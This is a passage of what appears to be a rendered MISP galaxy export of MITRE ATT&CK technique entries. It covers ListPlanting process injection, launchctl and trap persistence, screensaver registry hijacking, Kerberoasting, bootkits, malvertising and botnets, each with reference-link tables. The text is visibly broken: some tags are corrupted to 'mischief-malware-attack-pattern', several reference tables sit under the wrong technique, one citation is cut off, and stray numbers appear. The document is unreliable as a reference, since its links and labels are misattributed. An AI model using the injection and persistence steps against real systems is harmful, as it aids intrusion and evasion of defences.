</tr>
</tbody>
</table>

**ListPlanting - T1055.015**

Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.

List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application’s list-view settings are stored within the process’ memory in a `<code>SysListView32</code>` control.

ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the `<code>SysListView32</code>` child of the victim process window (via Windows API calls such as `<code>FindWindow</code>` and/or `<code>EnumWindows</code>”) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.

Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored `<code>WriteProcessMemory</code>` function. For example, an adversary can use the `<code>PostMessage</code>` and/or `<code>SendMessage</code>` API functions to send
<code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory. (Citation: ESET InvisiMole June 2020)

Finally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.

The tag is: <code>misp-galaxy:mitre-attack-pattern="ListPlanting - T1055.015"</code>

Table 5899. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1055/015">https://attack.mitre.org/techniques/T1055/015</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview">https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview</a></td>
</tr>
</tbody>
</table>

**Launchctl - T1569.001**

Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. (Citation: Launchctl Man)

Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001) or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004). Common subcommands include: <code>launchctl load</code>, <code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w "%s/Library/LaunchAgents/%s"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001) or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004). (Citation: Sofacy Komplex Trojan) (Citation: 20 macOS Common Tools and Techniques)

The tag is: <code>misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001"</code>

Table 5900. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1569/001">https://attack.mitre.org/techniques/T1569/001</a></td>
</tr>
<tr>
<td><a href="https://ss64.com/osx/launchctl.html">https://ss64.com/osx/launchctl.html</a></td>
</tr>
</tbody>
</table>
Malware - T1587.001

Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)

As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.

Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)

The tag is: misp-galaxy:mitre-attack-pattern="Malware - T1587.001"

Table 5901. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1587/001">https://attack.mitre.org/techniques/T1587/001</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf">https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf</a></td>
</tr>
</tbody>
</table>

Malware - T1588.001

Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.

In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or
MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).

The tag is: `misp-galaxy:mitre-attack-pattern="Malware - T1588.001"`

**Table 5902. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1588/001">https://attack.mitre.org/techniques/T1588/001</a></td>
</tr>
</tbody>
</table>

**Credentials - T1589.001**

Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.

Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. (Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). (Citation: Register Deloitte) (Citation: Register Uber) (Citation: Detectify Slack Tokens) (Citation: Forbes GitHub Creds) (Citation: GitHub truffleHog) (Citation: GitHub Gitrob) (Citation: CNET Leaks)

Adversaries may also purchase credentials from dark web or other black-markets. Finally, where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). (Citation: Okta Scatter Swine 2022)

Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: `misp-galaxy:mitre-attack-pattern="Credentials - T1589.001"`

**Table 5903. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1589/001">https://attack.mitre.org/techniques/T1589/001</a></td>
</tr>
<tr>
<td><a href="https://github.com/dxa4481/truffleHog">https://github.com/dxa4481/truffleHog</a></td>
</tr>
</tbody>
</table>

2841
Software - T1592.002

Adversaries may gather information about the victim’s host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: `misp-galaxy:mitre-attack-pattern="Software - T1592.002"`

Table 5904. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1592/002">https://attack.mitre.org/techniques/T1592/002</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/infrastructure-research-hunting/">https://threatconnect.com/blog/infrastructure-research-hunting/</a></td>
</tr>
</tbody>
</table>
Bootkit - T1542.003

Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

The tag is: `misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003"`

Table 5905. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1542/003">https://attack.mitre.org/techniques/T1542/003</a></td>
</tr>
</tbody>
</table>

Firmware - T1592.003

Adversaries may gather information about the victim’s host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). (Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

The tag is: `misp-galaxy:mitre-attack-pattern="Firmware - T1592.003"`

Table 5906. Table References
ROMMONkit - T1542.004

Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)

ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.

The tag is: *misp-galaxy:mitre-attack-pattern*="ROMMONkit - T1542.004"

Table 5907. Table References

Screensaver - T1546.002

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32</code>, and <code>C:\Windows\sysWOW64</code> on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop</code>) and could be manipulated to achieve persistence:

- <code>SCRNSAVE.exe</code> - set to malicious PE path
- <code>ScreenSaveActive</code> - set to '1' to enable the screensaver
- <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock
- <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed
Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)

The tag is: **misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002"**

### Table 5908. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546/002">https://attack.mitre.org/techniques/T1546/002</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Screensaver">https://en.wikipedia.org/wiki/Screensaver</a></td>
</tr>
</tbody>
</table>

**WHOIS - T1596.002**

Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. (Citation: WHOIS)

Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: **misp-galaxy:mitre-attack-pattern="WHOIS - T1596.002"**

### Table 5909. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1596/002">https://attack.mitre.org/techniques/T1596/002</a></td>
</tr>
<tr>
<td><a href="https://www.whois.net/">https://www.whois.net/</a></td>
</tr>
</tbody>
</table>

**Tool - T1588.002**

Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions. (Citation:
Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).

The tag is: `misp-galaxy:mitre-attack-pattern="Tool - T1588.002"`

### Server - T1583.004

Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Adversaries may use web servers to support support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.

Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)

The tag is: `misp-galaxy:mitre-attack-pattern="Server - T1583.004"`
**Botnet - T1583.005**

Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.( Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).( Citation: Imperva DDoS for Hire)( Citation: Krebs-Anna)( Citation: Krebs-Bazaar)( Citation: Krebs-Booster)

The tag is: *misp-galaxy:mitre-attack-pattern="Botnet - T1583.005"

**Table 5912. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1583/005">https://attack.mitre.org/techniques/T1583/005</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/">https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/</a></td>
</tr>
<tr>
<td><a href="https://www.imperva.com/learn/ddos/booters-stressers-ddosers/">https://www.imperva.com/learn/ddos/booters-stressers-ddosers/</a></td>
</tr>
</tbody>
</table>

**Kerberoasting - T1558.003**

Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).( Citation: Empire InvokeKerberoast Oct 2016)( Citation: AdSecurity Cracking Kerberos Dec 2015)

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service)( Citation: Microsoft Detecting Kerberoasting Feb 2018).( Citation: Microsoft SPN)( Citation: Microsoft SetSPN)( Citation: SANS Attacking Kerberos Nov 2014)( Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).( Citation: Empire InvokeKerberoast Oct 2016)( Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.( Citation: AdSecurity Cracking Kerberos Dec 2015)( Citation: Empire InvokeKerberoast Oct 2016)( Citation: Harmj0y Kerberoast Nov 2016)

This same behavior could be executed using service tickets captured from network traffic.( Citation: AdSecurity Cracking Kerberos Dec 2015)
Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)

The tag is: `misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003"

### Serverless - T1583.007

Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.

Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)

The tag is: `misp-galaxy:mitre-attack-pattern="Serverless - T1583.007"

### Table 5913. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=2293">https://adsecurity.org/?p=2293</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1558/003">https://attack.mitre.org/techniques/T1558/003</a></td>
</tr>
<tr>
<td><a href="https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1">https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/ms677949.aspx">https://msdn.microsoft.com/library/ms677949.aspx</a></td>
</tr>
<tr>
<td><a href="https://redsiege.com/kerberoast-slides">https://redsiege.com/kerberoast-slides</a></td>
</tr>
<tr>
<td><a href="https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/">https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/</a></td>
</tr>
</tbody>
</table>

### Table 5914. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1583/007">https://attack.mitre.org/techniques/T1583/007</a></td>
</tr>
<tr>
<td><a href="https://blog.xpnsec.com/aws-lambda-redirector/">https://blog.xpnsec.com/aws-lambda-redirector/</a></td>
</tr>
</tbody>
</table>
Malvertising - T1583.008

Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements. (Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network's capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites.

Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software. (Citation: Masquerads-Guardio) (Citation: FBI-search) Adversary's efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts. (Citation: sentinelone-malvertising)

Malvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser. (Citation: BBC-malvertising)

Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement. (Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection. (Citation: spamhaus-malvertising)

The tag is: misp-galaxy:mitre-attack-pattern="Malvertising - T1583.008"

Table 5915. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1583/008">https://attack.mitre.org/techniques/T1583/008</a></td>
</tr>
<tr>
<td><a href="https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e">https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e</a></td>
</tr>
<tr>
<td><a href="https://www.ic3.gov/Media/Y2022/PSA221221">https://www.ic3.gov/Media/Y2022/PSA221221</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/">https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/</a></td>
</tr>
</tbody>
</table>
Server - T1584.004

Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a server ([Server](https://attack.mitre.org/techniques/T1583/004)) or a Virtual Private Server ([Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)), adversaries may compromise third-party servers in support of operations.

Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.

The tag is: mischief-malware-attack-pattern="Server - T1584.004"

Table 5916. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1584/004">https://attack.mitre.org/techniques/T1584/004</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/infrastructure-research-hunting/">https://threatconnect.com/blog/infrastructure-research-hunting/</a></td>
</tr>
</tbody>
</table>

Trap - T1546.005

Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The `<code>trap</code>` command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like `<code>ctrl+c</code>` and `<code>ctrl+d</code>`.

Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format `<code>trap 'command list' signals</code>` where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)

The tag is: mischief-malware-attack-pattern="Trap - T1546.005"

Table 5917. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546/005">https://attack.mitre.org/techniques/T1546/005</a></td>
</tr>
<tr>
<td><a href="https://bash.cyberciti.biz/guide/Trap_statement">https://bash.cyberciti.biz/guide/Trap_statement</a></td>
</tr>
</tbody>
</table>
**Botnet - T1584.005**

Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks. (Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems. (Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers. (Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).

The tag is: **misp-galaxy:mitre-attack-pattern="Botnet - T1584.005"**

**Table 5918. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1584/005">https://attack.mitre.org/techniques/T1584/005</a></td>
</tr>
<tr>
<td><a href="https://www.imperva.com/learn/ddos/booters-stressers-ddosers/">https://www.imperva.com/learn/ddos/booters-stressers-ddosers/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation">https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation</a></td>
</tr>
</tbody>
</table>

**CDNs - T1596.004**

Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor's geographical region.

Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization's website. (Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595)) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).

The tag is: **misp-galaxy:mitre-attack-pattern="CDNs - T1596.004"**

**Table 5919. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1584/005">https://attack.mitre.org/techniques/T1584/005</a></td>
</tr>
<tr>
<td><a href="https://www.imperva.com/learn/ddos/booters-stressers-ddosers/">https://www.imperva.com/learn/ddos/booters-stressers-ddosers/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation">https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation</a></td>
</tr>
</tbody>
</table>
Exploits - T1587.004

Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits. (Citation: NYTStuxnet)

Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis. (Citation: Irongeek Sims BSides 2017)

As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary’s exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.

Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

The tag is: misp-galaxy:mitre-attack-pattern="Exploits - T1587.004"

Table 5920. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1587/004">attack.mitre.org/techniques/T1587/004</a></td>
</tr>
</tbody>
</table>

Serverless - T1584.007

Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.
